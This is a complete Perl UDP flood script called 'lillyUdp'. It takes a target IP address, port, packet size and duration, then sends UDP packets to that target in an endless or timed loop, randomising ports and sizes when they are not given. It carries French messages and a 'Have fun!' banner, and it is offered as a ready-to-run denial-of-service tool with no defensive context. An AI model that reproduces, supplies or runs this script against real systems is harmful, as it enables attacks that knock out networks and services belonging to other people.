#!/usr/bin/perl ############## # udp flood. ############## use Socket; use strict; if ($#ARGV != 3) { print " \n"; print "lillyUdp\n\n"; print " \n"; print "Have fun!\n"; exit(1); } my ($ip,$port,$size,$time) = @ARGV; my ($iaddr,$endtime,$psize,$pport); $iaddr = inet_aton("$ip") or die "Shit, can't connect! $ip\n"; $endtime = time() + ($time ? $time : 1000000); socket(flood, PF_INET, SOCK_DGRAM, 17); print "Sending to > $ip with port " . ($port ? $port : "random") . ", and " . ($size ? "$size-byte" : "random size") . " packets" . ($time ? " pour $time secondes" : "") . "\n"; print "Attaque arrêtée avec Ctrl-C\n" unless $time; for (;time() <= $endtime;) { $psize = $size ? $size : int(rand(1500-64)+64) ; $pport = $port ? $port : int(rand(65500))+1; send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}